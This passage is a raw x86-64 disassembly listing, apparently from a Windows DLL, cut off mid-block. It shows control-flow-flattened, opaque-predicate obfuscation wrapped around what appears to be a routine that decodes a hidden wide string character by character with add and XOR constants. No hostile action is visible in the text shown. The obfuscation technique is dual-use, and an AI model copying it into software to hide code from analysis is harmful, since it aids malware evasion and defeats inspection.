mov qword [rbp + 0x110], rcx
mov rsi, qword [rbp + 0x110]
add esi, 0x2a
xor esi, 0x32
mov eax, edx
jmp 0x18003aec0
mov word [rbp + 0x110], cx
movzx eax, word [rbp + 0x110]
mov word [r10 + 2], ax
mov eax, dword [0x180129a40]
mov ecx, dword [0x180129a44]
lea edx, [rax - 1]
imul edx, eax
and edx, 1
cmp ecx, 0xa
mov r14d, 0x51578b1e
mov esi, 0x35970d82
cmovl r14d, esi
test edx, edx
mov eax, 0x51578b1e
cmovne r14d, eax
mov r11d, 0x51578b1e
mov edi, 0x801a95b8
cmove r11d, edi
cmp ecx, 0xa
movzx ebx, word [r9]
setl al
cmovl r11d, edi
xor al, dl
cmove r14d, esi
mov eax, 0x5c7aabd7
nop word [rax + rax]
cmp eax, 0x35970d81
jle 0x18003b020
cmp eax, 0x35970d82
je 0x18003b1db
cmp eax, 0x51578b1e
je 0x18003b033
cmp eax, 0x5c7aabd7
jne 0x18003aff0
mov eax, 0x2963d5c2
jmp 0x18003aff0
cmp eax, 0x801a95b8
je 0x18003b057
cmp eax, 0x2963d5c2
jne 0x18003aff0
mov eax, r11d
jmp 0x18003aff0
mov eax, 0x360723d0
nop dword [rax + rax]
cmp eax, 0x360723d0
je 0x18003b050
cmp eax, 0x8cebb28b
jne 0x18003b040
jmp 0x18003b077
mov eax, 0x8cebb28b
jmp 0x18003b040
mov eax, 0x360723d0
nop dword [rax]
cmp eax, 0x360723d0
je 0x18003b070
cmp eax, 0x8cebb28b
jne 0x18003b060
jmp 0x18003b08f
mov eax, 0x8cebb28b
jmp 0x18003b060
mov qword [rbp + 0x110], rbx
mov rax, qword [rbp + 0x110]
mov eax, 0x801a95b8
jmp 0x18003aff0
mov qword [rbp + 0x110], rbx
mov rcx, qword [rbp + 0x110]
add ecx, 0x16
xor ecx, 0x61
mov eax, r14d
jmp 0x18003aff0
mov word [rbp + 0x110], si
movzx eax, word [rbp + 0x110]
mov word [r8 + 2], ax
mov eax, dword [0x180129a40]
mov ecx, dword [0x180129a44]
lea esi, [rax - 1]
imul esi, eax
and esi, 1
cmp ecx, 0xa
mov r11d, 0x51578b1e
mov edi, 0x35970d82
cmovl r11d, edi
test esi, esi
mov eax, 0x51578b1e
cmovne r11d, eax
mov r10d, 0x51578b1e
mov edx, 0x801a95b8
cmove r10d, edx
cmp ecx, 0xa
movzx ebx, word [r9]
setl al
cmovl r10d, edx
xor al, sil
cmove r11d, edi
mov eax, 0x5c7aabd7
nop dword [rax]
cmp eax, 0x35970d81
jle 0x18003b150
cmp eax, 0x35970d82
je 0x18003b2bb
cmp eax, 0x51578b1e
je 0x18003b163
cmp eax, 0x5c7aabd7
jne 0x18003b120
mov eax, 0x2963d5c2
jmp 0x18003b120
cmp eax, 0x801a95b8
je 0x18003b187
cmp eax, 0x2963d5c2
jne 0x18003b120
mov eax, r10d
jmp 0x18003b120
mov eax, 0x360723d0
nop dword [rax + rax]
cmp eax, 0x360723d0
je 0x18003b180
cmp eax, 0x8cebb28b
jne 0x18003b170
jmp 0x18003b1a7
mov eax, 0x8cebb28b
jmp 0x18003b170
mov eax, 0x360723d0
nop dword [rax]
cmp eax, 0x360723d0
je 0x18003b1a0
cmp eax, 0x8cebb28b
jne 0x18003b190
jmp 0x18003b1bf
mov eax, 0x8cebb28b
jmp 0x18003b190
mov qword [rbp + 0x110], rbx
mov rax, qword [rbp + 0x110]
mov eax, 0x801a95b8
jmp 0x18003b120
mov qword [rbp + 0x110], rbx
mov rsi, qword [rbp + 0x110]
add esi, 0x2b
xor esi, 0x2e
mov eax, r11d
jmp 0x18003b120
mov word [rbp + 0x110], cx
movzx eax, word [rbp + 0x110]
mov word [r10 + 4], ax
movzx ebx, word [r9]
mov eax, 0x5c7aabd7
nop word [rax + rax]
cmp eax, 0x35970d81
jle 0x18003b230
cmp eax, 0x35970d82
je 0x18003b39b
cmp eax, 0x51578b1e
je 0x18003b243
cmp eax, 0x5c7aabd7
jne 0x18003b200
mov eax, 0x2963d5c2
jmp 0x18003b200
cmp eax, 0x801a95b8
je 0x18003b267
cmp eax, 0x2963d5c2
jne 0x18003b200
mov eax, r11d
jmp 0x18003b200
mov eax, 0x360723d0
nop dword [rax + rax]
cmp eax, 0x360723d0
je 0x18003b260
cmp eax, 0x8cebb28b
jne 0x18003b250
jmp 0x18003b287
mov eax, 0x8cebb28b
jmp 0x18003b250
mov eax, 0x360723d0
nop dword [rax]
cmp eax, 0x360723d0
je 0x18003b280
cmp eax, 0x8cebb28b
jne 0x18003b270
jmp 0x18003b29f
mov eax, 0x8cebb28b
jmp 0x18003b270
mov qword [rbp + 0x110], rbx
mov rax, qword [rbp + 0x110]
mov eax, 0x801a95b8
jmp 0x18003b200
mov qword [rbp + 0x110], rbx
mov rcx, qword [rbp + 0x110]
add ecx, 0x17
xor ecx, 0x74
mov eax, r14d
jmp 0x18003b200
mov word [rbp + 0x110], si
movzx eax, word [rbp + 0x110]
mov word [r8 + 4], ax
movzx ebx, word [r9]
mov eax, 0x5c7aabd7
nop word [rax + rax]
cmp eax, 0x35970d81
jle 0x18003b310
cmp eax, 0x35970d82
je 0x18003b47b
cmp eax, 0x51578b1e
je 0x18003b323
cmp eax, 0x5c7aabd7
jne 0x18003b2e0
mov eax, 0x2963d5c2
jmp 0x18003b2e0
cmp eax, 0x801a95b8
je 0x18003b347
cmp eax, 0x2963d5c2
jne 0x18003b2e0
mov eax, r10d
jmp 0x18003b2e0
mov eax, 0x360723d0
nop dword [rax + rax]
cmp eax, 0x360723d0
je 0x18003b340
cmp eax, 0x8cebb28b
jne 0x18003b330
jmp 0x18003b367
mov eax, 0x8cebb28b
jmp 0x18003b330
mov eax, 0x360723d0
nop dword [rax]
cmp eax, 0x360723d0
je 0x18003b360
cmp eax, 0x8cebb28b
jne 0x18003b350
jmp 0x18003b37f
mov eax, 0x8cebb28b
jmp 0x18003b350
mov qword [rbp + 0x110], rbx
mov rax, qword [rbp + 0x110]
mov eax, 0x801a95b8
jmp 0x18003b2e0
mov qword [rbp + 0x110], rbx
mov rsi, qword [rbp + 0x110]
add esi, 0x2c
xor esi, 0x65
mov eax, r11d
jmp 0x18003b2e0
mov word [rbp + 0x110], cx
movzx eax, word [rbp + 0x110]
mov word [r10 + 6], ax
movzx ebx, word [r9]
mov eax, 0x5c7aabd7
nop word [rax + rax]
cmp eax, 0x35970d81
jle 0x18003b3f0
cmp eax, 0x35970d82
je 0x18003b55b
cmp eax, 0x51578b1e
je 0x18003b403
cmp eax, 0x5c7aabd7
jne 0x18003b3c0
mov eax, 0x2963d5c2
jmp 0x18003b3c0
cmp eax, 0x801a95b8
je 0x18003b427
cmp eax, 0x2963d5c2
jne 0x18003b3c0
mov eax, r11d
jmp 0x18003b3c0
mov eax, 0x360723d0
nop dword [rax + rax]
cmp eax, 0x360723d0
je 0x18003b420
cmp eax, 0x8cebb28b
jne 0x18003b410
jmp 0x18003b447
mov eax, 0x8cebb28b
jmp 0x18003b410
mov eax, 0x360723d0
nop dword [rax]
cmp eax, 0x360723d0
je 0x18003b440
cmp eax, 0x8cebb28b
jne 0x18003b430
jmp 0x18003b45f
mov eax, 0x8cebb28b
jmp 0x18003b430
mov qword [rbp + 0x110], rbx
mov rax, qword [rbp + 0x110]
mov eax, 0x801a95b8
jmp 0x18003b3c0
mov qword [rbp + 0x110], rbx
mov rcx, qword [rbp + 0x110]
add ecx, 0x18
xor ecx, 0x68
mov eax, r14d
jmp 0x18003b3c0
mov word [rbp + 0x110], si
movzx eax, word [rbp + 0x110]
mov word [r8 + 6], ax
movzx ebx, word [r9]
mov eax, 0x5c7aabd7
nop word [rax + rax]
cmp eax, 0x35970d81
jle 0x18003b4d0
cmp eax, 0x35970d82
je 0x18003b63b
cmp eax, 0x51578b1e
je 0x18003b4e3
cmp eax, 0x5c7aabd7
jne 0x18003b4a0
mov eax, 0x2963d5c2
jmp 0x18003b4a0
cmp eax, 0x801a95b8
je 0x18003b507
cmp eax, 0x2963d5c2
jne 0x18003b4a0
mov eax, r10d
jmp 0x18003b4a0
mov eax, 0x360723d0
nop dword [rax + rax]
cmp eax, 0x360723d0
je 0x18003b500
cmp eax, 0x8cebb28b
jne 0x18003b4f0
jmp 0x18003b527
mov eax, 0x8cebb28b
jmp 0x18003b4f0
mov eax, 0x360723d0
nop dword [rax]
cmp eax, 0x360723d0
je 0x18003b520
cmp eax, 0x8cebb28b
jne 0x18003b510
jmp 0x18003b53f
mov eax, 0x8cebb28b
jmp 0x18003b510
mov qword [rbp + 0x110], rbx
mov rax, qword [rbp + 0x110]
mov eax, 0x801a95b8
jmp 0x18003b4a0
mov qword [rbp + 0x110], rbx
mov rsi, qword [rbp + 0x110]
add esi, 0x2d
xor esi, 0x78
mov eax, r11d
jmp 0x18003b4a0
mov word [rbp + 0x110], cx
movzx eax, word [rbp + 0x110]
mov word [r10 + 8], ax
movzx ebx, word [r9]
mov eax, 0x5c7aabd7
nop word [rax + rax]
cmp eax, 0x35970d81
jle 0x18003b5b0
cmp eax, 0x35970d82
je 0x18003b71b
cmp eax, 0x51578b1e
je 0x18003b5c3
cmp eax, 0x5c7aabd7
jne 0x18003b580
mov eax, 0x2963d5c2
jmp 0x18003b580
cmp eax, 0x801a95b8
je 0x18003b5e7
cmp eax, 0x2963d5c2
jne 0x18003b580
mov eax, r11d
jmp 0x18003b580
mov eax, 0x360723d0
nop dword [rax + rax]
cmp eax, 0x360723d0
je 0x18003b5e0
cmp eax, 0x8cebb28b
jne 0x18003b5d0
jmp 0x18003b607
mov eax, 0x8cebb28b
jmp 0x18003b5d0
mov eax, 0x360723d0
nop dword [rax]
cmp eax, 0x360723d0
je 0x18003b600
cmp eax, 0x8cebb28b
jne 0x18003b5f0
jmp 0x18003b61f
mov eax, 0x8cebb28b
jmp 0x18003b5f0
mov qword [rbp + 0x110], rbx
mov rax, qword [rbp + 0x110]
mov eax, 0x801a95b8
jmp 0x18003b580
mov qword [rbp + 0x110], rbx
mov rcx, qword [rbp + 0x110]
add ecx, 0x19
xor ecx, 0x3d
mov eax, r14d
jmp 0x18003b580
mov word [rbp + 0x110], si
movzx eax, word [rbp + 0x110]
mov word [r8 + 8], ax
movzx ebx, word [r9]
mov eax, 0x5c7aabd7
nop word [rax + rax]
cmp eax, 0x35970d81
jle 0x18003b690
cmp eax, 0x35970d82
je 0x18003b7fb
cmp eax, 0x51578b1e
je 0x18003b6a3
cmp eax, 0x5c7aabd7
jne 0x18003b660
mov eax, 0x2963d5c2
jmp 0x18003b660
cmp eax, 0x801a95b8
je 0x18003b6c7
cmp eax, 0x2963d5c2
jne 0x18003b660
mov eax, r10d
jmp 0x18003b660
mov eax, 0x360723d0
nop dword [rax + rax]
cmp eax, 0x360723d0
je 0x18003b6c0
cmp eax, 0x8cebb28b
jne 0x18003b6b0
jmp 0x18003b6e7
mov eax, 0x8cebb28b
jmp 0x18003b6b0
mov eax, 0x360723d0
nop dword [rax]
cmp eax, 0x360723d0
je 0x18003b6e0
cmp eax, 0x8cebb28b
jne 0x18003b6d0
jmp 0x18003b6ff
mov eax, 0x8cebb28b
jmp 0x18003b6d0
mov qword [rbp + 0x110], rbx
mov rax, qword [rbp + 0x110]
mov eax, 0x801a95b8
jmp 0x18003b660
mov qword [rbp + 0x110], rbx
mov rsi, qword [rbp + 0x110]
add esi, 0x2e
xor esi, 0x65
mov eax, r11d
jmp 0x18003b660
mov word [rbp + 0x110], cx
movzx eax, word [rbp + 0x110]
mov word [r10 + 0xa], ax
movzx ebx, word [r9]
mov eax, 0x5c7aabd7
nop word [rax + rax]
cmp eax, 0x35970d81
jle 0x18003b770
cmp eax, 0x35970d82
je 0x18003b8db
cmp eax, 0x51578b1e
je 0x18003b783
cmp eax, 0x5c7aabd7
jne 0x18003b740
mov eax, 0x2963d5c2
jmp 0x18003b740
cmp eax, 0x801a95b8
je 0x18003b7a7
cmp eax, 0x2963d5c2
jne 0x18003b740
mov eax, r11d
jmp 0x18003b740
mov eax, 0x360723d0
nop dword [rax + rax]
cmp eax, 0x360723d0
je 0x18003b7a0
cmp eax, 0x8cebb28b
jne 0x18003b790
jmp 0x18003b7c7
mov eax, 0x8cebb28b
jmp 0x18003b790
mov eax, 0x360723d0
nop dword [rax]
cmp eax, 0x360723d0
je 0x18003b7c0
cmp eax, 0x8cebb28b
jne 0x18003b7b0
jmp 0x18003b7df
mov eax, 0x8cebb28b
jmp 0x18003b7b0
mov qword [rbp + 0x110], rbx
mov rax, qword [rbp + 0x110]
mov eax, 0x801a95b8
jmp 0x18003b740
mov qword [rbp + 0x110], rbx
mov rcx, qword [rbp + 0x110]
add ecx, 0x1a
xor ecx, 0x20
mov eax, r14d
jmp 0x18003b740
mov word [rbp + 0x110], si
movzx eax, word [rbp + 0x110]
mov word [r8 + 0xa], ax
movzx ebx, word [r9]
mov eax, 0x5c7aabd7
nop word [rax + rax]
cmp eax, 0x35970d81
jle 0x18003b850
cmp eax, 0x35970d82
je 0x18003b9bb
cmp eax, 0x51578b1e
je 0x18003b863
cmp eax, 0x5c7aabd7
jne 0x18003b820
mov eax, 0x2963d5c2
jmp 0x18003b820
cmp eax, 0x801a95b8
je 0x18003b887
cmp eax, 0x2963d5c2
jne 0x18003b820
mov eax, r10d
jmp 0x18003b820
mov eax, 0x360723d0
nop dword [rax + rax]
cmp eax, 0x360723d0
je 0x18003b880
cmp eax, 0x8cebb28b
jne 0x18003b870
jmp 0x18003b8a7
mov eax, 0x8cebb28b
jmp 0x18003b870
mov eax, 0x360723d0
nop dword [rax]
cmp eax, 0x360723d0
je 0x18003b8a0
cmp eax, 0x8cebb28b
jne 0x18003b890
jmp 0x18003b8bf
mov eax, 0x8cebb28b
jmp 0x18003b890
mov qword [rbp + 0x110], rbx
mov rax, qword [rbp + 0x110]
mov eax, 0x801a95b8
jmp 0x18003b820
mov qword [rbp + 0x110], rbx
mov rsi, qword [rbp + 0x110]
add esi, 0x2f
xor esi, 0x20
mov eax, r11d
jmp 0x18003b820
mov word [rbp + 0x110], cx
movzx eax, word [rbp + 0x110]
mov word [r10 + 0xc], ax
movzx ebx, word [r9]
mov eax, 0x5c7aabd7
nop word [rax + rax]
cmp eax, 0x35970d81
jle 0x18003b930
cmp eax, 0x35970d82
je 0x18003ba9b
cmp eax, 0x51578b1e
je 0x18003b943
cmp eax, 0x5c7aabd7
jne 0x18003b900
mov eax, 0x2963d5c2
jmp 0x18003b900
cmp eax, 0x801a95b8
je 0x18003b967
cmp eax, 0x2963d5c2
jne 0x18003b900
mov eax, r11d
jmp 0x18003b900
mov eax, 0x360723d0
nop dword [rax + rax]
cmp eax, 0x360723d0
je 0x18003b960
cmp eax, 0x8cebb28b
jne 0x18003b950
jmp 0x18003b987
mov eax, 0x8cebb28b
jmp 0x18003b950
mov eax, 0x360723d0
nop dword [rax]
cmp eax, 0x360723d0
je 0x18003b980
cmp eax, 0x8cebb28b
jne 0x18003b970
jmp 0x18003b99f
mov eax, 0x8cebb28b
jmp 0x18003b970
mov qword [rbp + 0x110], rbx
mov rax, qword [rbp + 0x110]
mov eax, 0x801a95b8
jmp 0x18003b900
mov qword [rbp + 0x110], rbx
mov rcx, qword [rbp + 0x110]
add ecx, 0x1b
xor ecx, 0x22
mov eax, r14d
jmp 0x18003b900
mov word [rbp + 0x110], si
movzx eax, word [rbp + 0x110]
mov word [r8 + 0xc], ax
movzx ebx, word [r9]
mov eax, 0x5c7aabd7
nop word [rax + rax]
cmp eax, 0x35970d81
jle 0x18003ba10
cmp eax, 0x35970d82
je 0x18003bb7b
cmp eax, 0x51578b1e
je 0x18003ba23
cmp eax, 0x5c7aabd7
jne 0x18003b9e0
mov eax, 0x2963d5c2
jmp 0x18003b9e0
cmp eax, 0x801a95b8
je 0x18003ba47
cmp eax, 0x2963d5c2
jne 0x18003b9e0
mov eax, r10d
jmp 0x18003b9e0
mov eax, 0x360723d0
nop dword [rax + rax]
cmp eax, 0x360723d0
je 0x18003ba40
cmp eax, 0x8cebb28b
jne 0x18003ba30
jmp 0x18003ba67
mov eax, 0x8cebb28b
jmp 0x18003ba30
mov eax, 0x360723d0
nop dword [rax]
cmp eax, 0x360723d0
je 0x18003ba60
cmp eax, 0x8cebb28b
jne 0x18003ba50
jmp 0x18003ba7f
mov eax, 0x8cebb28b
jmp 0x18003ba50
mov qword [rbp + 0x110], rbx
mov rax, qword [rbp + 0x110]
mov eax, 0x801a95b8
jmp 0x18003b9e0
mov qword [rbp + 0x110], rbx
mov rsi, qword [rbp + 0x110]
add esi, 0x30
xor esi, 0x2f
mov eax, r11d
jmp 0x18003b9e0
mov word [rbp + 0x110], cx
movzx eax, word [rbp + 0x110]
mov word [r10 + 0xe], ax
movzx ebx, word [r9]
mov eax, 0x5c7aabd7
nop word [rax + rax]
cmp eax, 0x35970d81
jle 0x18003baf0
cmp eax, 0x35970d82
je 0x18003bc5b
cmp eax, 0x51578b1e
je 0x18003bb03
cmp eax, 0x5c7aabd7
jne 0x18003bac0
mov eax, 0x2963d5c2
jmp 0x18003bac0
cmp eax, 0x801a95b8
je 0x18003bb27
cmp eax, 0x2963d5c2
jne 0x18003bac0
mov eax, r11d
jmp 0x18003bac0
mov eax, 0x360723d0
nop dword [rax + rax]
cmp eax, 0x360723d0
je 0x18003bb20
cmp eax, 0x8cebb28b
jne 0x18003bb10
jmp 0x18003bb47
mov eax, 0x8cebb28b
jmp 0x18003bb10
mov eax, 0x360723d0
nop dword [rax]
cmp eax, 0x360723d0
je 0x18003bb40
cmp eax, 0x8cebb28b
jne 0x18003bb30
jmp 0x18003bb5f
mov eax, 0x8cebb28b
jmp 0x18003bb30
mov qword [rbp + 0x110], rbx
mov rax, qword [rbp + 0x110]
mov eax, 0x801a95b8
jmp 0x18003bac0
mov qword [rbp + 0x110], rbx
mov rcx, qword [rbp + 0x110]
add ecx, 0x1c
xor ecx, 0x63
mov eax, r14d
jmp 0x18003bac0
mov word [rbp + 0x110], si
movzx eax, word [rbp + 0x110]
mov word [r8 + 0xe], ax
movzx ebx, word [r9]
mov eax, 0x5c7aabd7
nop word [rax + rax]
cmp eax, 0x35970d81
jle 0x18003bbd0
cmp eax, 0x35970d82
je 0x18003bd3b
cmp eax, 0x51578b1e
je 0x18003bbe3
cmp eax, 0x5c7aabd7
jne 0x18003bba0
mov eax, 0x2963d5c2
jmp 0x18003bba0
cmp eax, 0x801a95b8
je 0x18003bc07
cmp eax, 0x2963d5c2
jne 0x18003bba0
mov eax, r10d
jmp 0x18003bba0
mov eax, 0x360723d0
nop dword [rax + rax]
cmp eax, 0x360723d0
je 0x18003bc00
cmp eax, 0x8cebb28b
jne 0x18003bbf0
jmp 0x18003bc27
mov eax, 0x8cebb28b
jmp 0x18003bbf0
mov eax, 0x360723d0
nop dword [rax]
cmp eax, 0x360723d0
je 0x18003bc20
cmp eax, 0x8cebb28b
jne 0x18003bc10
jmp 0x18003bc3f
mov eax, 0x8cebb28b
jmp 0x18003bc10
mov qword [rbp + 0x110], rbx
mov rax, qword [rbp + 0x110]
mov eax, 0x801a95b8
jmp 0x18003bba0
mov qword [rbp + 0x110], rbx
mov rsi, qword [rbp + 0x110]
add esi, 0x31
xor esi, 0x73
mov eax, r11d
jmp 0x18003bba0
mov word [rbp + 0x110], cx
movzx eax, word [rbp + 0x110]
mov word [r10 + 0x10], ax
movzx ebx, word [r9]
mov eax, 0x5c7aabd7
nop word [rax + rax]
cmp eax, 0x35970d81
jle 0x18003bcb0
cmp eax, 0x35970d82
je 0x18003be1b
cmp eax, 0x51578b1e
je 0x18003bcc3
cmp eax, 0x5c7aabd7
jne 0x18003bc80
mov eax, 0x2963d5c2
jmp 0x18003bc80
cmp eax, 0x801a95b8
je 0x18003bce7
cmp eax, 0x2963d5c2
jne 0x18003bc80
mov eax, r11d
jmp 0x18003bc80
mov eax, 0x360723d0
nop dword [rax + rax]
cmp eax, 0x360723d0
je 0x18003bce0
cmp eax, 0x8cebb28b
jne 0x18003bcd0
jmp 0x18003bd07
mov eax, 0x8cebb28b
jmp 0x18003bcd0
mov eax, 0x360723d0
nop dword [rax]
cmp eax, 0x360723d0
je 0x18003bd00
cmp eax, 0x8cebb28b
jne 0x18003bcf0
jmp 0x18003bd1f
mov eax, 0x8cebb28b
jmp 0x18003bcf0
mov qword [rbp + 0x110], rbx
mov rax, qword [rbp + 0x110]
mov eax, 0x801a95b8
jmp 0x18003bc80
mov qword [rbp + 0x110], rbx
mov rcx, qword [rbp + 0x110]
add ecx, 0x1d
xor ecx, 0x6d
mov eax, r14d
jmp 0x18003bc80
mov word [rbp + 0x110], si
movzx eax, word [rbp + 0x110]
mov word [r8 + 0x10], ax
movzx ebx, word [r9]
mov eax, 0x5c7aabd7
nop word [rax + rax]
cmp eax, 0x35970d81
jle 0x18003bd90
cmp eax, 0x35970d82
je 0x18003befb
cmp eax, 0x51578b1e
je 0x18003bda3
cmp eax, 0x5c7aabd7
jne 0x18003bd60
mov eax, 0x2963d5c2
jmp 0x18003bd60
cmp eax, 0x801a95b8
je 0x18003bdc7
cmp eax, 0x2963d5c2
jne 0x18003bd60
mov eax, r10d
jmp 0x18003bd60
mov eax, 0x360723d0
nop dword [rax + rax]
cmp eax, 0x360723d0
je 0x18003bdc0
cmp eax, 0x8cebb28b
jne 0x18003bdb0
jmp 0x18003bde7
mov eax, 0x8cebb28b
jmp 0x18003bdb0
mov eax, 0x360723d0
nop dword [rax]
cmp eax, 0x360723d0
je 0x18003bde0
cmp eax, 0x8cebb28b
jne 0x18003bdd0
jmp 0x18003bdff
mov eax, 0x8cebb28b
jmp 0x18003bdd0
mov qword [rbp + 0x110], rbx
mov rax, qword [rbp + 0x110]
mov eax, 0x801a95b8
jmp 0x18003bd60
mov qword [rbp + 0x110], rbx
mov rsi, qword [rbp + 0x110]
add esi, 0x32
xor esi, 0x20
mov eax, r11d
jmp 0x18003bd60
mov word [rbp + 0x110], cx
movzx eax, word [rbp + 0x110]
mov word [r10 + 0x12], ax
movzx ebx, word [r9]
mov eax, 0x5c7aabd7
nop word [rax + rax]
cmp eax, 0x35970d81
jle 0x18003be70
cmp eax, 0x35970d82
je 0x18003bfdb
cmp eax, 0x51578b1e
je 0x18003be83
cmp eax, 0x5c7aabd7
jne 0x18003be40
mov eax, 0x2963d5c2
jmp 0x18003be40
cmp eax, 0x801a95b8
je 0x18003bea7
cmp eax, 0x2963d5c2
jne 0x18003be40
mov eax, r11d
jmp 0x18003be40
mov eax, 0x360723d0
nop dword [rax + rax]
cmp eax, 0x360723d0
je 0x18003bea0
cmp eax, 0x8cebb28b
jne 0x18003be90
jmp 0x18003bec7
mov eax, 0x8cebb28b
jmp 0x18003be90
mov eax, 0x360723d0
nop dword [rax]
cmp eax, 0x360723d0
je 0x18003bec0
cmp eax, 0x8cebb28b
jne 0x18003beb0
jmp 0x18003bedf
mov eax, 0x8cebb28b
jmp 0x18003beb0
mov qword [rbp + 0x110], rbx
mov rax, qword [rbp + 0x110]
mov eax, 0x801a95b8
jmp 0x18003be40
mov qword [rbp + 0x110], rbx
mov rcx, qword [rbp + 0x110]
add ecx, 0x1e
xor ecx, 0x64
mov eax, r14d
jmp 0x18003be40
mov word [rbp + 0x110], si
movzx eax, word [rbp + 0x110]
mov word [r8 + 0x12], ax
movzx ebx, word [r9]
mov eax, 0x5c7aabd7
nop word [rax + rax]
cmp eax, 0x35970d81
jle 0x18003bf50
cmp eax, 0x35970d82
je 0x18003c0bb
cmp eax, 0x51578b1e
je 0x18003bf63
cmp eax, 0x5c7aabd7
jne 0x18003bf20
mov eax, 0x2963d5c2
jmp 0x18003bf20
cmp eax, 0x801a95b8
je 0x18003bf87
cmp eax, 0x2963d5c2
jne 0x18003bf20
mov eax, r10d
jmp 0x18003bf20
mov eax, 0x360723d0
nop dword [rax + rax]
cmp eax, 0x360723d0
je 0x18003bf80
cmp eax, 0x8cebb28b
jne 0x18003bf70
jmp 0x18003bfa7
mov eax, 0x8cebb28b
jmp 0x18003bf70
mov eax, 0x360723d0
nop dword [rax]
cmp eax, 0x360723d0
je 0x18003bfa0
cmp eax, 0x8cebb28b
jne 0x18003bf90
jmp 0x18003bfbf
mov eax, 0x8cebb28b
jmp 0x18003bf90
mov qword [rbp + 0x110], rbx
mov rax, qword [rbp + 0x110]
mov eax, 0x801a95b8
jmp 0x18003bf20
mov qword [rbp + 0x110], rbx
mov rsi, qword [rbp + 0x110]
add esi, 0x33
xor esi, 0x25
mov eax, r11d
jmp 0x18003bf20
mov word [rbp + 0x110], cx
movzx eax, word [rbp + 0x110]
mov word [r10 + 0x14], ax
movzx ebx, word [r9]
mov eax, 0x5c7aabd7
nop word [rax + rax]
cmp eax, 0x35970d81
jle 0x18003c030
cmp eax, 0x35970d82
je 0x18003c19b
cmp eax, 0x51578b1e
je 0x18003c043
cmp eax, 0x5c7aabd7
jne 0x18003c000
mov eax, 0x2963d5c2
jmp 0x18003c000
cmp eax, 0x801a95b8
je 0x18003c067
cmp eax, 0x2963d5c2
jne 0x18003c000
mov eax, r11d
jmp 0x18003c000
mov eax, 0x360723d0
nop dword [rax + rax]
cmp eax, 0x360723d0
je 0x18003c060
cmp eax, 0x8cebb28b
jne 0x18003c050
jmp 0x18003c087
mov eax, 0x8cebb28b
jmp 0x18003c050
mov eax, 0x360723d0
nop dword [rax]
cmp eax, 0x360723d0
je 0x18003c080
cmp eax, 0x8cebb28b
jne 0x18003c070
jmp 0x18003c09f
mov eax, 0x8cebb28b
jmp 0x18003c070
mov qword [rbp + 0x110], rbx
mov rax, qword [rbp + 0x110]
mov eax, 0x801a95b8
jmp 0x18003c000
mov qword [rbp + 0x110], rbx
mov rcx, qword [rbp + 0x110]
add ecx, 0x1f
xor ecx, 0x20
mov eax, r14d
jmp 0x18003c000
mov word [rbp + 0x110], si
movzx eax, word [rbp + 0x110]
mov word [r8 + 0x14], ax
movzx ebx, word [r9]
mov eax, 0x5c7aabd7
nop word [rax + rax]
cmp eax, 0x35970d81
jle 0x18003c110
cmp eax, 0x35970d82
je 0x18003c27b
cmp eax, 0x51578b1e
je 0x18003c123
cmp eax, 0x5c7aabd7
jne 0x18003c0e0
mov eax, 0x2963d5c2
jmp 0x18003c0e0
cmp eax, 0x801a95b8
je 0x18003c147
cmp eax, 0x2963d5c2
jne 0x18003c0e0
mov eax, r10d
jmp 0x18003c0e0
mov eax, 0x360723d0
nop dword [rax + rax]
cmp eax, 0x360723d0
je 0x18003c140
cmp eax, 0x8cebb28b
jne 0x18003c130
jmp 0x18003c167
mov eax, 0x8cebb28b
jmp 0x18003c130
mov eax, 0x360723d0
nop dword [rax]
cmp eax, 0x360723d0
je 0x18003c160
cmp eax, 0x8cebb28b
jne 0x18003c150
jmp 0x18003c17f
mov eax, 0x8cebb28b
jmp 0x18003c150
mov qword [rbp + 0x110], rbx
mov rax, qword [rbp + 0x110]
mov eax, 0x801a95b8
jmp 0x18003c0e0
mov qword [rbp + 0x110], rbx
mov rsi, qword [rbp + 0x110]
add esi, 0x34
xor esi, 0x73
mov eax, r11d
jmp 0x18003c0e0
mov word [rbp + 0x110], cx
movzx eax, word [rbp + 0x110]
mov word [r10 + 0x16], ax
movzx ebx, word [r9]
mov eax, 0x5c7aabd7
nop word [rax + rax]
cmp eax, 0x35970d81
jle 0x18003c1f0
cmp eax, 0x35970d82
je 0x18003c35b
cmp eax, 0x51578b1e
je 0x18003c203
cmp eax, 0x5c7aabd7
jne 0x18003c1c0
mov eax, 0x2963d5c2
jmp 0x18003c1c0
cmp eax, 0x801a95b8
je 0x18003c227
cmp eax, 0x2963d5c2
jne 0x18003c1c0
mov eax, r11d
jmp 0x18003c1c0
mov eax, 0x360723d0
nop dword [rax + rax]
cmp eax, 0x360723d0
je 0x18003c220
cmp eax, 0x8cebb28b
jne 0x18003c210
jmp 0x18003c247
mov eax, 0x8cebb28b
jmp 0x18003c210
mov eax, 0x360723d0
nop dword [rax]
cmp eax, 0x360723d0
je 0x18003c240
cmp eax, 0x8cebb28b
jne 0x18003c230
jmp 0x18003c25f
mov eax, 0x8cebb28b
jmp 0x18003c230
mov qword [rbp + 0x110], rbx
mov rax, qword [rbp + 0x110]
mov eax, 0x801a95b8
jmp 0x18003c1c0
mov qword [rbp + 0x110], rbx
mov rcx, qword [rbp + 0x110]
add ecx, 0x20
xor ecx, 0x2f
mov eax, r14d
jmp 0x18003c1c0
mov word [rbp + 0x110], si
movzx eax, word [rbp + 0x110]
mov word [r8 + 0x16], ax
movzx ebx, word [r9]
mov eax, 0x5c7aabd7
nop word [rax + rax]
cmp eax, 0x35970d81
jle 0x18003c2d0
cmp eax, 0x35970d82
je 0x18003c43b
cmp eax, 0x51578b1e
je 0x18003c2e3
cmp eax, 0x5c7aabd7
jne 0x18003c2a0
mov eax, 0x2963d5c2
jmp 0x18003c2a0
cmp eax, 0x801a95b8
je 0x18003c307
cmp eax, 0x2963d5c2
jne 0x18003c2a0
mov eax, r10d
jmp 0x18003c2a0
mov eax, 0x360723d0
nop dword [rax + rax]
cmp eax, 0x360723d0
je 0x18003c300
cmp eax, 0x8cebb28b
jne 0x18003c2f0
jmp 0x18003c327
mov eax, 0x8cebb28b
jmp 0x18003c2f0
mov eax, 0x360723d0
nop dword [rax]
cmp eax, 0x360723d0
je 0x18003c320
cmp eax, 0x8cebb28b
jne 0x18003c310
jmp 0x18003c33f
mov eax, 0x8cebb28b
jmp 0x18003c310
mov qword [rbp + 0x110], rbx
mov rax, qword [rbp + 0x110]
mov eax, 0x801a95b8
jmp 0x18003c2a0
mov qword [rbp + 0x110], rbx
mov rsi, qword [rbp + 0x110]
add esi, 0x35
xor esi, 0x22
mov eax, r11d
jmp 0x18003c2a0
mov word [rbp + 0x110], cx
movzx eax, word [rbp + 0x110]
